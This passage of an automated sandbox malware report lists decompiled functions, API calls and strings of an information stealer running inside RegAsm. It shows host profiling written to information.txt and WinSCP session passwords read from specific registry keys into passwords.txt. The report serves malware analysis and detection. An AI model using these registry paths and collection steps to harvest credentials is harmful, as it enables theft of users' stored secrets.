Part of subcall function 004110BB: RegQueryValueExA.KERNEL32(?,00000000,000F003F,?,?,?,00435E5C), ref: 00411294

lstrlen.KERNEL32(?,?,?,?,?,Keyboard Languages: ,004358E0,Display Resolution: ,004358C4,00000000,User Name: ,004358B4,00000000,Computer Name: ,004358A0,AV: ), ref: 004140C7

Strings

[Processes], xrefs: 00413F8E
Local Time: , xrefs: 00413CAF
MachineID: , xrefs: 004137E4
User Name: , xrefs: 00413B72
VideoCard: , xrefs: 00413F1B
Processor: , xrefs: 00413D91
Work Dir: In memory, xrefs: 00413994
AV: , xrefs: 00413AA2
10.9, xrefs: 00413723
[Software], xrefs: 00414007
Version: , xrefs: 00413703
Keyboard Languages: , xrefs: 00413C42
Threads: , xrefs: 00413E53
Path: , xrefs: 0041391F
Display Resolution: , xrefs: 00413BD3
Install Date: , xrefs: 00413A35
[Hardware], xrefs: 00413D71
TimeZone: , xrefs: 00413D10
Cores: , xrefs: 00413DF2
RAM: , xrefs: 00413EB4
information.txt, xrefs: 004140D7
HWID: , xrefs: 004138B2
Date: , xrefs: 00413783
GUID: , xrefs: 00413845
Computer Name: , xrefs: 00413B11
Windows: , xrefs: 004139D4

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$wsprintf$Open$QueryValuelstrcatlstrcpy$CreateInformationLocalNamelstrlen$CapsCloseCurrentDeviceEnumHandleInfoInitializeKeyboardLayoutListProcess32Time$AllocBlanketCharComputerDevicesDirectoryDisplayFileFirstFreeGlobalInitInstanceLocaleLogicalMemoryModuleNextProcessorProfileProxyReleaseSecuritySnapshotStatusSystemToolhelp32UserVariantVolumeWindowsZone
String ID: 10.9$AV: $Computer Name: $Cores: $Date: $Display Resolution: $GUID: $HWID: $Install Date: $Keyboard Languages: $Local Time: $MachineID: $Path: $Processor: $RAM: $Threads: $TimeZone: $User Name: $Version: $VideoCard: $Windows: $Work Dir: In memory$[Hardware]$[Processes]$[Software]$information.txt
API String ID: 1818259668-3788446177
Opcode ID: 97c4a7ed59e0d9a2e72e74928b111fb482ec02907e8239a9942d348317240fd7
Instruction ID: adde247f1225e1eab54f57ae6e9d83a8cbc6371cf636e65ff4d64b3325bbfa70
Opcode Fuzzy Hash: 97c4a7ed59e0d9a2e72e74928b111fb482ec02907e8239a9942d348317240fd7
Instruction Fuzzy Hash: F9526B71D0001D9ACF00FFA2DD869CDB774AF01308F61456AA614771A2DBB97FDA8B98

Function 0040E03E Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 325
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0040E0E5
RegGetValueA.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 0040E116
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 0040E198
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,Host: ,Soft: WinSCP,0043590F), ref: 0040E231
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?), ref: 0040E291

Strings

Software\Martin Prikryl\WinSCP 2\Sessions, xrefs: 0040E16B
UserName, xrefs: 0040E34E
Password: , xrefs: 0040E3E1
PortNumber, xrefs: 0040E275
Soft: WinSCP, xrefs: 0040E1B6
Password, xrefs: 0040E3CD
Security, xrefs: 0040E10B
Host: , xrefs: 0040E1E2
HostName, xrefs: 0040E21F
:22, xrefs: 0040E2E5
passwords.txt, xrefs: 0040E51A
Login: , xrefs: 0040E311
Software\Martin Prikryl\WinSCP 2\Configuration, xrefs: 0040E0C3
UseMasterPassword, xrefs: 0040E106

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Value$EnumOpen
String ID: Login: $:22$Host: $HostName$Password$Password: $PortNumber$Security$Soft: WinSCP$Software\Martin Prikryl\WinSCP 2\Configuration$Software\Martin Prikryl\WinSCP 2\Sessions$UseMasterPassword$UserName$passwords.txt
API String ID: 844504749-2798830873
Opcode ID: 7075026b6b3278db12f8108aec9f3bcb9f1eeef3f61e4d20fbd798810de1a6ff
Instruction ID: 2afe5ef6f8513874982195c1e9b3985478db5ae4246d5a8a6b469dfc109bc6e6
Opcode Fuzzy Hash: 7075026b6b3278db12f8108aec9f3bcb9f1eeef3f61e4d20fbd798810de1a6ff
Instruction Fuzzy Hash: 63D1F87191012DAADF20EB91DC81BD9B778AF04308F1158EBAA08B3151DAB57FC5CFA5

Function 004084BE Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 225
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

CopyFileA.KERNEL32(?,?,00000001,00436150,004357BA), ref: 00408565
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004085BC
RtlAllocateHeap.NTDLL(00000000), ref: 004085C3
lstrlen.KERNEL32(?), ref: 0040863E
lstrcat.KERNEL32(?), ref: 00408656
lstrcat.KERNEL32(?,?), ref: 00408660
lstrcat.KERNEL32(?,00436154), ref: 0040866C
lstrcat.KERNEL32(?,?), ref: 00408676
lstrcat.KERNEL32(?,00436158), ref: 00408682
lstrcat.KERNEL32(?), ref: 0040868F
lstrcat.KERNEL32(?,?), ref: 00408699
lstrcat.KERNEL32(?,0043615C), ref: 004086A5
lstrcat.KERNEL32(?), ref: 004086B2
lstrcat.KERNEL32(?,?), ref: 004086BC
lstrcat.KERNEL32(?,00436160), ref: 004086C8
lstrcat.KERNEL32(?), ref: 004086D5
lstrcat.KERNEL32(?,?), ref: 004086DF
lstrcat.KERNEL32(?,00436164), ref: 004086EB
lstrcat.KERNEL32(?,00436168), ref: 004086F7
lstrlen.KERNEL32(?), ref: 00408730
DeleteFileA.KERNEL32(?), ref: 0040877D

Part of subcall function 0040825F: LocalAlloc.KERNEL32(00000040), ref: 004082DD

Strings

passwords.txt, xrefs: 00408740

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocAllocateCopyDeleteLocalProcessSystemTime
String ID: passwords.txt
API String ID: 995500673-347816968
Opcode ID: 5af0bfab689120423db1d4245fe586f4995d62afbfdf9a9828356b34b0a9544f
Instruction ID: 20e4f55345ded6cfd069df18f7a45b43bb57220617017d18380e101501f96420
Opcode Fuzzy Hash: 5af0bfab689120423db1d4245fe586f4995d62afbfdf9a9828356b34b0a9544f
Instruction Fuzzy Hash: 2F811072D00118BBCF01ABA1DE4ADDE7B75EF08305F111436FA01B21B1DB799E958B98

Function 004116BF Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 143
memorycomtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(00000000,00000000), ref: 004116D7
CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004116E8
CoCreateInstance.COMBASE(00431F00,00000000,00000001,00431E30,?), ref: 00411702
CoSetProxyBlanket.COMBASE(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000), ref: 00411738
VariantInit.OLEAUT32(?), ref: 00411793

Part of subcall function 0041160F: CoCreateInstance.COMBASE(004321B0,00000000,00000001,00439F60,?), ref: 00411639
Part of subcall function 0041160F: SysAllocString.OLEAUT32(?), ref: 00411646
Part of subcall function 0041160F: _wtoi64.MSVCRT ref: 00411679
Part of subcall function 0041160F: SysFreeString.OLEAUT32(?), ref: 00411692
Part of subcall function 0041160F: SysFreeString.OLEAUT32(00000000), ref: 00411699

FileTimeToSystemTime.KERNEL32(?,?), ref: 004117C2
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004117CE
RtlAllocateHeap.NTDLL(00000000), ref: 004117D5
VariantClear.OLEAUT32(?), ref: 00411814
wsprintfA.USER32 ref: 00411801

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Strings

Select * From Win32_OperatingSystem, xrefs: 0041174D
UB, xrefs: 004116C1
ROOT\CIMV2, xrefs: 0041171A
Unknown, xrefs: 00411829
InstallDate, xrefs: 004117A5
%d/%d/%d %d:%d:%d, xrefs: 004117FB
Unknown, xrefs: 00411822
WQL, xrefs: 00411752
Unknown, xrefs: 0041183D

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: String$CreateFreeHeapInitializeInstanceTimeVariant$AllocAllocateBlanketClearFileInitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$UB$WQL
API String ID: 1947911839-918132540
Opcode ID: c167886e95f75d27e8264ececb46b0c8b8126b75e1f698ca19244c241a6daccb
Instruction ID: c7397418edb15cd1b84e633a6a3596b869be94161687ba214a2277657305710a
Opcode Fuzzy Hash: c167886e95f75d27e8264ececb46b0c8b8126b75e1f698ca19244c241a6daccb
Instruction Fuzzy Hash: 09413F71A00204BBCB209BD6DC49EEFBBBDEF89B11F50411AF611E6190D7789941CB38

Function 004087BE Relevance: 33.4, APIs: 22, Instructions: 372
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041064D: StrCmpCA.SHLWAPI(?,?,?,004087D5), ref: 00410656

CopyFileA.KERNEL32(?,?,00000001,0043617C,004357C2), ref: 004088B5

Part of subcall function 004103D1: lstrcpy.KERNEL32(00000000,?), ref: 004103F0

Part of subcall function 0041216A: OpenProcess.KERNEL32(00001001,00000000,?,00000001), ref: 00412237
Part of subcall function 0041216A: TerminateProcess.KERNEL32(00000000,00000000), ref: 00412245
Part of subcall function 0041216A: CloseHandle.KERNEL32(00000000), ref: 0041224C

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00408A19
RtlAllocateHeap.NTDLL(00000000), ref: 00408A20
StrCmpCA.SHLWAPI(?,0043618C,00000000), ref: 00408ABC
StrCmpCA.SHLWAPI(?,00436190), ref: 00408AE4
lstrcat.KERNEL32(00000000,?), ref: 00408B1D
lstrcat.KERNEL32(00000000,00436198), ref: 00408B29
lstrcat.KERNEL32(00000000,?), ref: 00408B33
lstrcat.KERNEL32(00000000,0043619C), ref: 00408B3F
lstrcat.KERNEL32(00000000,?), ref: 00408B49
lstrcat.KERNEL32(00000000,004361A0), ref: 00408B55
lstrcat.KERNEL32(00000000,?), ref: 00408B5F
lstrcat.KERNEL32(00000000,004361A4), ref: 00408B6B
lstrcat.KERNEL32(00000000,?), ref: 00408B75
lstrlen.KERNEL32(00000000), ref: 00408C2C
lstrlen.KERNEL32(?), ref: 00408C47
DeleteFileA.KERNEL32(?), ref: 00408C8A

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$Processlstrlen$FileHeap$AllocateCloseCopyDeleteHandleOpenTerminate
String ID:
API String ID: 1605185163-0
Opcode ID: cd3044f8d20f9f3648d1aaa7c97cca6d880f914f4dcc48fb0fa5cdcf192a0189
Instruction ID: 2d1e90bda71af127685d2948bb2398c37b1e41fa1d432f35cf6f7d1ae47c1c68
Opcode Fuzzy Hash: cd3044f8d20f9f3648d1aaa7c97cca6d880f914f4dcc48fb0fa5cdcf192a0189
Instruction Fuzzy Hash: 33E10D71D00109ABCF01AFA1DE469DD7B75EF04308F11103AFA05B71B2DBB96E969B98

Function 0040AA9D Relevance: 33.3, APIs: 22, Instructions: 315
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041039F: lstrcpy.KERNEL32(00000000,00000000), ref: 004103C5

Part of subcall function 00411B02: GetSystemTime.KERNEL32(?,0043579A), ref: 00411B31

Part of subcall function 004104C1: lstrlen.KERNEL32(?,00000000,?,0040605C,00436824), ref: 004104D5
Part of subcall function 004104C1: lstrcpy.KERNEL32(00000000,?), ref: 004104FD
Part of subcall function 004104C1: lstrcat.KERNEL32(?,00000000), ref: 00410508

Part of subcall function 0041047F: lstrcpy.KERNEL32(00000000,?), ref: 004104AD
Part of subcall function 0041047F: lstrcat.KERNEL32(?,00000000), ref: 004104B7

Part of subcall function 00410445: lstrcpy.KERNEL32(00000000,?), ref: 00410475

CopyFileA.KERNEL32(?,?,00000001,00436374,004357FF), ref: 0040AB42
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040AC4C
RtlAllocateHeap.NTDLL(00000000), ref: 0040AC53
StrCmpCA.SHLWAPI(?,00436380,00000000), ref: 0040AD04
StrCmpCA.SHLWAPI(?,00436384), ref: 0040AD2C
lstrcat.KERNEL32(00000000,?), ref: 0040AD50
lstrcat.KERNEL32(00000000,00436388), ref: 0040AD5C
lstrcat.KERNEL32(00000000,?), ref: 0040AD66
lstrcat.KERNEL32(00000000,0043638C), ref: 0040AD72
lstrcat.KERNEL32(00000000,?), ref: 0040AD7C
lstrcat.KERNEL32(00000000,00436390), ref: 0040AD88
lstrcat.KERNEL32(00000000,?), ref: 0040AD92
lstrcat.KERNEL32(00000000,00436394), ref: 0040AD9E
lstrcat.KERNEL32(00000000,?), ref: 0040ADA8
lstrcat.KERNEL32(00000000,00436398), ref: 0040ADB4
lstrcat.KERNEL32(00000000,?), ref: 0040ADBE
lstrcat.KERNEL32(00000000,0043639C), ref: 0040ADCA
lstrcat.KERNEL32(00000000,?), ref: 0040ADD4
lstrcat.KERNEL32(00000000,004363A0), ref: 0040ADE0
lstrlen.KERNEL32(00000000), ref: 0040AE32
lstrlen.KERNEL32(?), ref: 0040AE4D
DeleteFileA.KERNEL32(?), ref: 0040AE90

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTime
String ID:
API String ID: 1956182324-0
Opcode ID: e52afdd9e597283281cc45221c0abe4319725e8a63f01df1d0e82a4987a6d6f9
Instruction ID: 03621b247a59f769bc293742cf7f7adadaaade22621dc0596282aa642ba61d83
Opcode Fuzzy Hash: e52afdd9e597283281cc45221c0abe4319725e8a63f01df1d0e82a4987a6d6f9
Instruction Fuzzy Hash: 85C11072D00109AFDF01ABA1DD4A9DD7B75EF04304F21003AFA05B71B2DBB96E959B98

Function 00401656 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 129
memoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 00401686
wsprintfW.USER32 ref: 004016AC
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000100,00000000), ref: 004016D6
GetProcessHeap.KERNEL32(00000008,000FFFFF), ref: 004016EE
RtlAllocateHeap.NTDLL(00000000), ref: 004016F5
_time64.MSVCRT ref: 004016FE
srand.MSVCRT ref: 00401705
rand.MSVCRT ref: 0040170E
WriteFile.KERNEL32(?,00000000,000FFFFF,?,00000000), ref: 00401736
CloseHandle.KERNEL32(?), ref: 00401761
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,04000100,00000000), ref: 0040177D
ReadFile.KERNEL32(00000000,00000000,000FFFFF,?,00000000), ref: 00401799
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004017B8
RtlFreeHeap.NTDLL(00000000), ref: 004017BF
CloseHandle.KERNEL32(?), ref: 004017CB

Strings

delays.tmp, xrefs: 00401694
%s%s, xrefs: 004016A6

Memory Dump Source

Source File: 00000004.00000002.4586316934.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.4586316934.0000000000406000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000417000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000419000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000041D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000423000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000042E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000049E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004C6000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.00000000004E5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000057E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.4586316934.000000000063F000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FileHeap$CloseCreateHandleProcess$AllocateFreePathReadTempWrite_time64randsrandwsprintf
String ID: %s%s$delays.tmp
API String ID: 1081599079-1413376734
Opcode ID: 38cd7d520282999ee8f192d1794fbbe9c58ea7709091181f99c372dd393f9547
Instruction ID: 7cfe0813d6809c9c6cd0a60b0cc3225c07f8979bb87680299e5233c4ef9196fe
Opcode Fuzzy Hash: 38cd7d520282999ee8f192d1794fbbe9c58ea7709091181f99c372dd393f9547
Instruction Fuzzy Hash: 6941C6B1A00214ABDB305F71AC4DF9B7BBDEF89715F8001BAB105E20A2DA754959CF68

Function 0041310C Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 262
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strtok_s.MSVCRT ref: 0041314E
StrCmpCA.SHLWAPI(00000000,true), ref: 00413210

Part of subcall function 00410401: lstrlen.KERNEL32(?,?,0040672B,004359BB), ref: 00410407
Part of subcall function 00410401: lstrcpy.KERNEL32(00000000,00000000), ref: 00410439

lstrcpy.KERNEL32(?,00000000), ref: 004132D2
lstrcpy.KERNEL32(?,00000000), ref: 00413303
lstrcpy.KERNEL32(?,00000000), ref: 0041333F
